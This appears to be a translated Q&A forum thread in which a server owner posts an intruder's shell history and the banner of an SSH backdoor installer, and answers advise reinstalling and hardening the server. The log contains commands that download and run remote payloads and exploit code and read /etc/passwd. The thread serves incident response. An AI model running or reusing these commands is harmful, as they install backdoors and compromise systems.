昨天我检查了我的 VServer 上的命令历史记录。我发现了几行可疑的内容。
195 wget aridan.hol.es/sniffer.tgz
196 tar xvf sniffer.tgz
197 ls -a
198 rm -rf sniffer.tgz
199 rm -rf .sniff/
200 cd /dev/shm
201 ls -a
202 mkdir " . "
203 ls -a
204 cd " . "/
205 wget aridan.hol.es/sniffer.tgz
206 tar xvf ar
207 tar zxvf ar
208 tar xvf sniffer.tgz
209 cd .sniff/
210 ls -a
211 ./setup
212 ls -a
213 cd /var/tmp
214 ls a-
215 ls -a
216 cd sy
217 cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi ce-HJ201p/
218 ls -a
219 pw
220 pwd
221 ls -a
222 cd tmp/
223 ls -a
224 cd / .
225 cd /dev/shm
226 ls -a
227 cd " . "/
228 ls -a
229 cd sniffer.tgz
230 cd ..
231 ls -a
232 cd " . "/
233 rm -rf sniffer.tgz
234 cd .sniff/
235 ls -a
236 cd /var/tmp
237 nproc
238 w
239 wget draqusor.hi2.ro/x; chmod +x *; ./x
240 wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20 15; chmod +x *; ./ubuntu-2015;
241 id
242 cd
243 last
244 cat /etc/passwd
245 cd /dev/s
246 cd /dev/shm/
247 ls -a
248 cd " . "/
249 ls -a
250 cd .sniff/
251 ls -a
252 nano se
253 nano setup
254 nano error_log
255 nano error_log.2
256 cat error_log.2
257 ls -a
258 nproc
259 cd /var/tmp
260 ls aรถ-
261 ls -a
262 rm -rf u*
263 rm -rf x
264 mkdir cache
265 cd cache
266 wget datafresh.org/md.tgz
267 tat xvf md.tgz
268 tar xvf md.tgz
269 cd m
270 cd d
271 cd md
272 ./a 5.196
273 cat /proc/cpuinfo
274 ./a 5.196
275 ps -x
276 cd /
尤其是 sniffer.tgz 让我震惊不已。我设置了一个虚拟机并下载了这个 tgz 存档。我启动了安装程序,它给了我以下几行:
-----------------------------------------------------------------------------------
#OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
PRIVATE VERSION
-----------------------------------------------------------------------------------
CHECKING THIS SYSTEM
# GCC: [ FOUND ]
# G++: [ FOUND ]
# MAKE: [ FOUND ]
# OPENSSL DEVEL: [ NOT FOUND ]
NOW TRYING TO INSTALL OPENSSL DEVEL
有人知道如何删除它吗?
答案1
这是您应该在所有有此问题的系统上执行的操作sniffer.tgz
:从轨道上用核武器攻击他们立即地并从全新安装开始。(即销毁系统,重新安装,从干净的备份 - 假设您有干净的备份,然后在将它们重新放到互联网上之前强化系统)。
每当你的系统受到恶意软件或黑客入侵时,就该重新分析系统的配置方式,并确保不是重复他们进入时所采取的相同步骤。但是,由于这可能不是您有能力拆开并进行取证分析的系统,并且由于这可能是您唯一的服务器,因此是时候破坏虚拟系统,然后从头开始(正如我上面所说)。
(这适用于任何系统受到恶意软件攻击的情况。除非您有备用硬件来替换这样的硬件,以便您可以隔离并检查被入侵的系统(而大多数用户通常没有这种情况),否则您别无选择,只能摧毁系统并重新开始。)
如果不分析你的服务器,我真的无法说出你做错了什么,但这个后门很可能比安装的简单“程序”更深地存在于系统中。而且,由于坏人已经在你的系统上安装了后门,你可以假设你所有的密码现在都被破解了,不再安全(无论是 SSH、MySQL root 还是曾经输入过此计算机系统的任何其他类型的密码)。是时候改变了全部你的密码!
回到干净的环境后,以下是一些需要考虑的强化步骤的基本提示。请注意,由于这些提示使这个话题变得更加广泛,我无法在这里深入探讨细节,但现在绝对是时候采取一些强化步骤来保护您的系统了:
打开防火墙, 和仅允许访问需要打开的端口.
ufw
存在的意义很简单,所以让我们使用它吧。。sudo ufw enable
(为您的环境正确配置ufw
是另一回事,这超出了这个问题的范围。)限制远程 SSH 访问。这并不总是可行的,但理想情况下,您应该识别您拥有的 IP 地址,并在防火墙中专门将其列入白名单。(如果您使用的是动态住宅 IP 地址,请跳过此步骤)。
锁定对服务器的 SSH 访问, 和仅要求使用 SSH 密钥进行身份验证。这样黑客就无法攻击你的服务器并试图猜测密码。猜测正确的私钥要困难得多(因为你必须暴力破解所有密码),这有助于防止暴力破解攻击。
如果你正在运营一个网站,确保锁定权限,以便人们无法随意上传/执行任何操作。每个站点的操作方式都不同,所以我无法在这里给你更多指导(这是不可能的)。
另外,如果你使用 Joomla 或 Wordpress 等软件运行网站,确保保持环境最新,并修补软件提供商提供的安全漏洞。
在可能的情况,设置、配置并使用双因素身份验证 (2FA) 方法进行身份验证。针对不同应用程序的双因素身份验证有很多解决方案,通过这种方式保护各种应用程序超出了本文的讨论范围,因此在选择解决方案之前,您应该对这一点进行研究。
如果你绝对必须在设置中使用密码,使用可靠的密码管理器(基于云的密码管理器不一定是好的选择),并使用较长(25 个字符以上)、随机、不易记住的密码,每个受密码保护的项目的密码都不同(因此建议使用密码管理器)。(但是,您应强烈考虑在可能的情况下不使用密码(例如 SSH 身份验证),并在可能的情况下使用 2FA)。
答案2
如果有一个后门,那么就还有 3 个。隔离、备份数据、删除它,然后小心地恢复数据。小心任何 cron、php 甚至 mysql 数据,它们都可能被泄露。请记住,此时他们拥有您的所有密码和哈希值,因此如果您的其他机器配置类似,他们可能也会破解它们……困难的部分是弄清楚他们是如何进入的。如果您有 WordPress,请在插件/主题等中查找恶意软件……检查您的权限,您可能到处都有 777。没有简单的答案,你正在看很多工作。